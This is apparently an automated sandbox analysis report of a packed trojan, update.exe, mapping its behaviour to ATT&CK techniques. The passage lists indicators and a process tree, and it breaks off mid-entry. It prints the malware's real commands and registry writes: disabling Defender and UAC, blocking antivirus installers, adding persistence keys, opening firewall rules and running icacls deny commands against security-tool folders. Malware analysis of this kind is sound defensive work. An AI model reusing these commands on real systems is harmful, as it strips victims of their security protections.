cde3720e9c1d758e606495f4eb216e165e0e2bbe80c9018f32287ae31f553693

Modify Existing Service

T1031

Disabling Security Tools

T1089

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	update.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	update.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	update.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	update.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRawWriteNotification = "1"	update.exe

UAC bypass 3 TTPs 2 IoCs

evasion trojan

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	update.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	update.exe

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	update.exe

Blocks application from running via registry modification 27 IoCs

Adds application to list of disallowed applications.

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\24 = "Cureit.exe"	update.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun = "1"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\17 = "eset_internet_security_live_installer.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\2 = "avast_free_antivirus_setup_online.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\12 = "AVbr.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\13 = "AV_br.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\21 = "PANDAFREEAV.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\23 = "drweb-12.0-ss-win.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\1 = "eav_trial_rus.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\7 = "ESETOnlineScanner_RUS.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\16 = "FRST64.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\19 = "eset_nod32_antivirus_live_installer.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\20 = "MBSetup.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\4 = "essf_trial_rus.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\9 = "360TS_Setup_Mini.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\15 = "cureit.exe"	update.exe
Key created	\REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\6 = "ESETOnlineScanner_UKR.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\10 = "Cezurity_Scanner_Pro_Free.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\11 = "Cube.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\22 = "bitdefender_avfree.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\3 = "eis_trial_rus.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\5 = "hitmanpro_x64.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\18 = "esetonlinescanner.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\25 = "TDSSKiller.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\8 = "HitmanPro.exe"	update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\14 = "KVRT.exe"	update.exe

Executes dropped EXE 2 IoCs

pid	Process
4816	cmd.exe
4024	net1.exe

Modifies Windows Firewall 1 TTPs 7 IoCs

Modify Existing Service

T1031

pid	Process
4776	netsh.exe
4316	netsh.exe
1544	netsh.exe
4396	netsh.exe
4352	netsh.exe
2256	netsh.exe
4768	netsh.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	update.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	update.exe

Modifies file permissions 1 TTPs 26 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
656	icacls.exe
1652	icacls.exe
4032	icacls.exe
748	icacls.exe
4076	icacls.exe
4508	icacls.exe
1836	icacls.exe
60	icacls.exe
4960	icacls.exe
2080	icacls.exe
3136	icacls.exe
2352	icacls.exe
4200	icacls.exe
4404	icacls.exe
3408	icacls.exe
2916	icacls.exe
208	icacls.exe
1656	icacls.exe
2344	icacls.exe
4556	icacls.exe
4276	icacls.exe
5076	icacls.exe
4484	icacls.exe
360	icacls.exe
4884	icacls.exe
4428	icacls.exe

Themida packer 21 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/memory/2948-115-0x00007FF7C1C00000-0x00007FF7C5EC3000-memory.dmp	themida
behavioral2/memory/2948-117-0x00007FF7C1C00000-0x00007FF7C5EC3000-memory.dmp	themida
behavioral2/memory/2948-118-0x00007FF7C1C00000-0x00007FF7C5EC3000-memory.dmp	themida
behavioral2/memory/2948-119-0x00007FF7C1C00000-0x00007FF7C5EC3000-memory.dmp	themida
behavioral2/memory/2948-120-0x00007FF7C1C00000-0x00007FF7C5EC3000-memory.dmp	themida
behavioral2/memory/2948-121-0x00007FF7C1C00000-0x00007FF7C5EC3000-memory.dmp	themida
behavioral2/memory/2948-122-0x00007FF7C1C00000-0x00007FF7C5EC3000-memory.dmp	themida
behavioral2/memory/2948-123-0x00007FF7C1C00000-0x00007FF7C5EC3000-memory.dmp	themida
behavioral2/memory/2948-124-0x00007FF7C1C00000-0x00007FF7C5EC3000-memory.dmp	themida
behavioral2/memory/2948-125-0x00007FF7C1C00000-0x00007FF7C5EC3000-memory.dmp	themida
behavioral2/files/0x0002000000015529-293.dat	themida
behavioral2/files/0x000200000001552a-297.dat	themida
behavioral2/files/0x0002000000015529-292.dat	themida
behavioral2/memory/1920-299-0x00007FF69F3C0000-0x00007FF69FF88000-memory.dmp	themida
behavioral2/files/0x000200000001552a-303.dat	themida
behavioral2/memory/2164-306-0x00007FF7E0340000-0x00007FF7E3662000-memory.dmp	themida
behavioral2/memory/2164-424-0x00007FF7E0340000-0x00007FF7E3662000-memory.dmp	themida
behavioral2/memory/1920-425-0x00007FF69F3C0000-0x00007FF69FF88000-memory.dmp	themida
behavioral2/memory/1920-514-0x00007FF69F3C0000-0x00007FF69FF88000-memory.dmp	themida
behavioral2/memory/2948-519-0x00007FF7C1C00000-0x00007FF7C5EC3000-memory.dmp	themida
behavioral2/files/0x000600000001ac46-700.dat	themida

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	update.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio = "C:\\ProgramData\\RealtekHD\\taskhost.exe"	update.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Plex Media Server = "C:\\ProgramData\\Windows Tasks Service\\winserv.exe"	update.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	update.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	update.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Modifies WinLogon 2 TTPs 3 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList	update.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts	update.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\John = "0"	update.exe

AutoIT Executable 16 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/memory/2948-118-0x00007FF7C1C00000-0x00007FF7C5EC3000-memory.dmp	autoit_exe
behavioral2/memory/2948-119-0x00007FF7C1C00000-0x00007FF7C5EC3000-memory.dmp	autoit_exe
behavioral2/memory/2948-120-0x00007FF7C1C00000-0x00007FF7C5EC3000-memory.dmp	autoit_exe
behavioral2/memory/2948-121-0x00007FF7C1C00000-0x00007FF7C5EC3000-memory.dmp	autoit_exe
behavioral2/memory/2948-122-0x00007FF7C1C00000-0x00007FF7C5EC3000-memory.dmp	autoit_exe
behavioral2/memory/2948-123-0x00007FF7C1C00000-0x00007FF7C5EC3000-memory.dmp	autoit_exe
behavioral2/memory/2948-124-0x00007FF7C1C00000-0x00007FF7C5EC3000-memory.dmp	autoit_exe
behavioral2/memory/2948-125-0x00007FF7C1C00000-0x00007FF7C5EC3000-memory.dmp	autoit_exe
behavioral2/files/0x0004000000015526-283.dat	autoit_exe
behavioral2/files/0x0004000000015526-282.dat	autoit_exe
behavioral2/files/0x0003000000015528-288.dat	autoit_exe
behavioral2/files/0x0003000000015528-287.dat	autoit_exe
behavioral2/memory/2164-424-0x00007FF7E0340000-0x00007FF7E3662000-memory.dmp	autoit_exe
behavioral2/memory/1920-425-0x00007FF69F3C0000-0x00007FF69FF88000-memory.dmp	autoit_exe
behavioral2/memory/1920-514-0x00007FF69F3C0000-0x00007FF69FF88000-memory.dmp	autoit_exe
behavioral2/memory/2948-519-0x00007FF7C1C00000-0x00007FF7C5EC3000-memory.dmp	autoit_exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
2948	update.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4548	sc.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
3932	schtasks.exe
3884	schtasks.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command-Line Interface

T1059

pid	Process
2444	ipconfig.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe
2948	update.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2948	update.exe

Suspicious use of WriteProcessMemory 38 IoCs

description	pid	Process	procid_target
PID 2948 wrote to memory of 2236	2948	update.exe	66
PID 2948 wrote to memory of 2236	2948	update.exe	66
PID 2948 wrote to memory of 3096	2948	update.exe	68
PID 2948 wrote to memory of 3096	2948	update.exe	68
PID 2948 wrote to memory of 3076	2948	update.exe	77
PID 2948 wrote to memory of 3076	2948	update.exe	77
PID 2236 wrote to memory of 4548	2236	cmd.exe	71
PID 2236 wrote to memory of 4548	2236	cmd.exe	71
PID 3096 wrote to memory of 4776	3096	cmd.exe	75
PID 3096 wrote to memory of 4776	3096	cmd.exe	75
PID 3076 wrote to memory of 4768	3076	cmd.exe	73
PID 3076 wrote to memory of 4768	3076	cmd.exe	73
PID 2948 wrote to memory of 4856	2948	update.exe	72
PID 2948 wrote to memory of 4856	2948	update.exe	72
PID 4856 wrote to memory of 4316	4856	cmd.exe	76
PID 4856 wrote to memory of 4316	4856	cmd.exe	76
PID 2948 wrote to memory of 4380	2948	update.exe	79
PID 2948 wrote to memory of 4380	2948	update.exe	79
PID 2948 wrote to memory of 3500	2948	update.exe	82
PID 2948 wrote to memory of 3500	2948	update.exe	82
PID 4380 wrote to memory of 1544	4380	cmd.exe	81
PID 4380 wrote to memory of 1544	4380	cmd.exe	81
PID 2948 wrote to memory of 3660	2948	update.exe	83
PID 2948 wrote to memory of 3660	2948	update.exe	83
PID 3660 wrote to memory of 4396	3660	cmd.exe	85
PID 3660 wrote to memory of 4396	3660	cmd.exe	85
PID 3500 wrote to memory of 4352	3500	cmd.exe	86
PID 3500 wrote to memory of 4352	3500	cmd.exe	86
PID 2948 wrote to memory of 4880	2948	update.exe	87
PID 2948 wrote to memory of 4880	2948	update.exe	87
PID 4880 wrote to memory of 2256	4880	cmd.exe	89
PID 4880 wrote to memory of 2256	4880	cmd.exe	89
PID 2948 wrote to memory of 4816	2948	update.exe	216
PID 2948 wrote to memory of 4816	2948	update.exe	216
PID 2948 wrote to memory of 4816	2948	update.exe	216
PID 2948 wrote to memory of 4024	2948	update.exe	198
PID 2948 wrote to memory of 4024	2948	update.exe	198
PID 2948 wrote to memory of 4024	2948	update.exe	198

System policy modification 1 TTPs 3 IoCs

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	update.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	update.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	update.exe

C:\Users\Admin\AppData\Local\Temp\update.exe
"C:\Users\Admin\AppData\Local\Temp\update.exe"
1⤵
- Modifies Windows Defender Real-time Protection settings
- UAC bypass
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Blocks application from running via registry modification
- Checks BIOS information in registry
- Adds Run key to start application
- Checks whether UAC is enabled
- Modifies WinLogon
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2948
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc delete swprv
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2236
- - C:\Windows\system32\sc.exe
    sc delete swprv
    3⤵
    - Launches sc.exe
    PID:4548
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state on
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3096
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set allprofiles state on
    3⤵
    - Modifies Windows Firewall
    PID:4776
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AMD" dir=in action=allow program="C:\ProgramData\WindowsTask\AMD.exe" enable=yes
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4856
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="AMD" dir=in action=allow program="C:\ProgramData\WindowsTask\AMD.exe" enable=yes
    3⤵
    - Modifies Windows Firewall
    PID:4316
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AppModule" dir=in action=allow program="C:\ProgramData\WindowsTask\AppModule.exe" enable=yes
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3076
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Blocking" protocol=TCP localport=445 action=block dir=IN
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4380
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="Port Blocking" protocol=TCP localport=445 action=block dir=IN
    3⤵
    - Modifies Windows Firewall
    PID:1544
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Blocking" protocol=UDP localport=445 action=block dir=IN
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3500
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="Port Blocking" protocol=UDP localport=445 action=block dir=IN
    3⤵
    - Modifies Windows Firewall
    PID:4352
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Block" protocol=TCP localport=139 action=block dir=IN
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3660
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="Port Block" protocol=TCP localport=139 action=block dir=IN
    3⤵
    - Modifies Windows Firewall
    PID:4396
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Block" protocol=UDP localport=139 action=block dir=IN
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4880
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="Port Block" protocol=UDP localport=139 action=block dir=IN
    3⤵
    - Modifies Windows Firewall
    PID:2256
- C:\ProgramData\Setup\Game.exe
  C:\ProgramData\Setup\Game.exe -pnaxui
  2⤵
  PID:4816
- - C:\ProgramData\RealtekHD\GameGuard.exe
    "C:\ProgramData\RealtekHD\GameGuard.exe"
    3⤵
    PID:1920
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:2000
    - - C:\Windows\system32\icacls.exe
        
        icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:4276
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny System:(OI)(CI)(F)
      4⤵
      PID:4392
    - - C:\Windows\system32\icacls.exe
        
        icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny System:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:4404
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Windows\Fonts\Mysql" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:4732
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\Fonts\Mysql" /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:2080
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Windows\Fonts\Mysql" /deny System:(OI)(CI)(F)
      4⤵
      PID:4716
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\Fonts\Mysql" /deny System:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:5076
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\Windows\speechstracing /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:3836
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\speechstracing /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:4076
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\Windows\speechstracing /deny system:(OI)(CI)(F)
      4⤵
      PID:4856
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\speechstracing /deny system:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:4484
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls c:\programdata\Malwarebytes /deny Администраторы:(F)
      4⤵
      PID:3564
    - - C:\Windows\system32\icacls.exe
        
        icacls c:\programdata\Malwarebytes /deny Администраторы:(F)
        5⤵
        Modifies file permissions
        
        PID:4508
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls c:\programdata\Malwarebytes /deny System:(F)
      4⤵
      PID:4896
    - - C:\Windows\system32\icacls.exe
        
        icacls c:\programdata\Malwarebytes /deny System:(F)
        5⤵
        Modifies file permissions
        
        PID:3136
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\Programdata\MB3Install /deny Администраторы:(F)
      4⤵
      PID:1660
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Programdata\MB3Install /deny Администраторы:(F)
        5⤵
        Modifies file permissions
        
        PID:360
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\Programdata\MB3Install /deny System:(F)
      4⤵
      PID:4248
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Programdata\MB3Install /deny System:(F)
        5⤵
        Modifies file permissions
        
        PID:1652
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\Programdata\Indus /deny System:(OI)(CI)(F)
      4⤵
      PID:4156
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Programdata\Indus /deny System:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:2344
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\AdwCleaner /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:4640
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\AdwCleaner /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1836
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\Programdata\Indus /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:4088
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Programdata\Indus /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:208
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ByteFence" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:2312
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files\ByteFence" /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:656
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\KVRT_Data /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:4624
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\KVRT_Data /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:3408
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\KVRT_Data /deny system:(OI)(CI)(F)
      4⤵
      PID:748
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\KVRT_Data /deny system:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1656
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\KVRT2020_Data /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:4080
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\KVRT2020_Data /deny system:(OI)(CI)(F)
      4⤵
      PID:2232
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\KVRT2020_Data /deny system:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:60
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\FRST /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:4596
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\FRST /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:2916
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\FRST /deny system:(OI)(CI)(F)
      4⤵
      PID:4280
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\FRST /deny system:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:4200
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\360" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:4904
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files (x86)\360" /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:4556
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\360safe" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:4052
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\360safe" /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:4960
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\SpyHunter" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:580
    - - C:\Windows\system32\icacls.exe
        
        icacls "C:\Program Files (x86)\SpyHunter" /deny Администраторы:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:4884
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Malwarebytes" /deny Администраторы:(OI)(CI)(F)
      4⤵
      PID:1040
    - - C:\Windows\system32\icacls.exe
        
